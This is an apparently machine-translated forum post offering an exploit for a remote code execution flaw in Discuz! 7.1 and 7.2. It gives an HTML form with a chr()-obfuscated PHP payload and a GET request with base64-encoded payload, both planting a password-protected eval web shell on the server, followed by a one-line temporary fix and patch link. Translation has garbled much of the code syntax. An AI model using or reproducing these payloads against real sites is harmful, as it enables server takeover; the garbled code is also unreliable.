Discuz! 7.1 and 7.2 Remote Code Execution Vulnerability exp

Mysterious Xiaoqiang

Thanks to WJS and the cold sun, the old man has analyzed it and I will not say much about it. If exp is used, it will only be tested on the local machine. The consequences for other purposes will be borne by me!

Method 1:

First register a user and then

<Form method = "post" action = "http://www.xxx.com/bbs/misc.php" enctype = "multipart/form-data">
Post ID. Specify an existing post: <input type = "text" name = "tid" value = "1"/>
<Input type = "hidden" name = "action" value = "imme_binding"/>
<Input type = "hidden" name = "response [result]" value = ""/>
<Input type = "hidden" name = "scriptlang [1] [2]" value = "$ {$ {eval (chr (102 ). chr (1, 112 ). chr (1, 117 ). chr (1, 116 ). chr (1, 115 ). chr (40 ). chr (1, 102 ). chr (1, 111 ). chr (1, 112 ). chr (1, 101 ). chr (1, 110 ). chr (40 ). chr (39 ). chr (1, 102 ). chr (1, 111 ). chr (1, 114 ). chr (1, 117 ). chr (1, 109 ). chr (1, 100 ). chr (97 ). chr (1, 116 ). chr (97 ). chr (47 ). chr (99 ). chr (97 ). chr (99 ). chr (1, 104 ). chr (1, 101 ). chr (47 ). chr (1, 117 ). chr (1, 115 ). chr (1, 101 ). chr (1, 114 ). chr (1, 103 ). chr (1, 114 ). chr (1, 111 ). chr (1, 117 ). chr (1, 112 ). chr (95 ). chr (48 ). chr (49 ). chr (46 ). chr (1, 112 ). chr (1, 104 ). chr (1, 112 ). chr (39 ). chr (44 ). chr (39 ). chr (1, 119 ). chr (39 ). chr (41 ). chr (44 ). chr (39 ). chr (60 ). chr (63 ). chr (1, 112 ). chr (1, 104 ). chr (1, 112 ). chr (32 ). chr (1, 101 ). chr (1, 118 ). chr (97 ). chr (1, 108 ). chr (40 ). chr (36 ). chr (95 ). chr (80 ). chr (79 ). chr (83 ). chr (84 ). chr (91 ). chr (99 ). chr (1, 109 ). chr (1, 100 ). chr (93 ). chr (41 ). chr (63 ). chr (62 ). chr (39 ). chr (41 ). chr (59) }}"/>
<Input type = "submit" name = "topicsubmit" value = "submit" class = "submit"/>
</Form>

After chr decoding is: value = "$ {{ {evalfputs (fopen (forumdata/cache/usergroup, w), <? Php eval ($ _ POST [cmd])?> );

There is a submitted address to change and save the html

Open the click and submit. A forumdata/cache/usergroup_01.php sentence file is generated. The password is cmd.
 

Method 2:

GET directly, using the statement:

Misc. php? Action = imme_binding & response [result] = aa: B & scriptlang [aa] [B] ={uts {fputs (fopen (base64_decode (Yy5waHA), w ), base64_decode (PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x ))}}

The C. PHP password generated in the root directory is C.

Temporary repair method:

Add
$ Response = $ scriptlang = array ();

Officially released patches:
Html> http://www.discuz.net/thread-1537673-1-1.html